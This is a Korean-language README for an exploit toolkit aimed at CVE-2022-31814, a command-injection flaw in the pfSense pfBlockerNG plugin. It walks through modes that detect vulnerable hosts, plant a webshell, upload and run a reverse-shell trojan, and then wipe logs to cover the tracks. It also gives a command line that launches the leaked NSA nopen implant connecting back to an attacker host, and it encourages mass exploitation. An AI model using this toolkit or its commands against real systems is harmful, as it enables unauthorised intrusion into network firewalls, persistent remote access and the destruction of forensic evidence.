CVE-2022-31814 익스플로잇 툴킷.
CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26) 익스플로잇 도구 키트.
이것은 IHTeam이 발견한 pfSense pfBlockerNG <= 2.1.4_26 플러그인의 원격 명령 주입 기능을 대상으로 하는 익스플로잇 도구 키트입니다.
NSA의 방화벽 익스플로잇 도구 키트에서 발견한 몇 가지 설계 원리를 실험해 보기 위해 작성했습니다. 따라서 nopen 임플란트와 완전히 호환되도록 설계되었으며(작고 문서화된 변경 하나가 필요함), 로그 삭제 기능이 내장되어 있고, 사전 점검(수동적 및 능동적 취약점 테스트)을 구현하여 매우 안정적입니다.
이 도구 키트에는 nopen을 대체하는 간단한 역방향 TTY 셸 페이로드가 Python으로 작성되어 제공됩니다(이런 장비에는 Python 인터프리터가 포함되어 있습니다). 프로덕션 환경에서 NSA에서 훔친 수상한 바이너리를 실행하는 것은 다소 어리석은 일이기 때문입니다.
버그 바운티를 위한 yolo 스캐닝과 대량 익스플로잇을 하려면 제공된 nuclei 템플릿을 실행하세요(아마 지금쯤 업스트림에도 반영되어 있을 것입니다). 이렇게 하면 대상 목록이 생깁니다. 파일 이름은 nuclei-CVE-2022-31814.yaml입니다.
네트워크를 정밀하게 다루기 위해 알아야 할 "모드"는 네 가지가 있으며, 아래에 문서화되어 있습니다. 순서대로 실행하세요. 이 모드는 "--mode" 플래그로 설정합니다.
이 모드는 두 개의 HTTP 요청을 보냅니다. 하나는 실제로 pfSense인지 확인하고(/) HTTP 타이틀을 확인하며, 다른 하나는 취약한 엔드포인트가 정상적으로 보이는지 확인합니다. 이 모드는 어떤 것도 익스플로잇하지 않습니다.
이 모드는 두 개의 HTTP 요청을 보내며, 둘 다 취약점을 익스플로잇합니다.
sleep 1과 을 주입하고 두 요청 간 시간 차이가 6초보다 큰지 확인합니다.
sleep 10프록시를 통해 익스플로잇을 던질 때 지연 시간을 감안하기 위해 "에라 모르겠다" 수준의 여유를 조금 넣었습니다(프록시 쓰고 있죠, 그렇죠?).
이 모드는 3개의 HTTP 요청을 보냅니다.
첫 번째는 GET 요청을 사용하여 취약점을 악용해 웹셸을 생성합니다.
두 번째는 웹셸을 사용하여 POST 요청으로 우리의 트로이 목마를 업로드합니다.
세 번째는 웹셸을 사용하여 POST 요청으로 우리의 트로이 목마를 실행합니다.
이 모드는 두 개의 HTTP 요청을 보냅니다.
첫 번째는 웹셸을 사용하여 정리 스크립트를 업로드합니다.
두 번째는 정리 스크립트를 실행합니다.
정리 스크립트는 로그를 날려버리고, 트로이 목마를 삭제하고, 웹셸을 삭제한 다음, 자기 자신도 삭제합니다. 합리적인 방식(rm -rf)으로 처리합니다. 특히 포렌식적으로 탄탄하지는 않습니다. 나중에 dd를 사용하여 삭제 전에 파일을 덮어쓰도록 고칠 수도 있습니다. 또한 로그를 정밀하게 제거하는 sed 마법을 작성할 수도 있지만, 솔직히 정말로 귀찮지 않을 때만 할 것입니다.
nopen을 사용하려면 exploit() 함수의 마지막 "트로이 목마 실행" 명령을 다음으로 교체하세요:
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
그리고 대상 시스템에서 동작하는 freebsd nopen(noserver) 바이너리를 준비하세요. 이는 어려울 수 있습니다. EQGRP 유출본의 noserver-3.3.2.3-freebsd_8.0-i386을 libkvm.so.5 대신 libkvm.so.7을 사용하도록 패치해야 하며, 대상 시스템에는 lib32 호환 레이어가 필요합니다... pfSense에는 기본적으로 포함되어 있지 않습니다.
나중에 릴리스에서 --nopen 플래그를 추가하여 이것을 마법처럼 자동화할 수도 있습니다. 사람들이 nopen을 쓸 만큼 정말로 신경 쓴다면 말이죠. 그럴 필요는 없습니다.
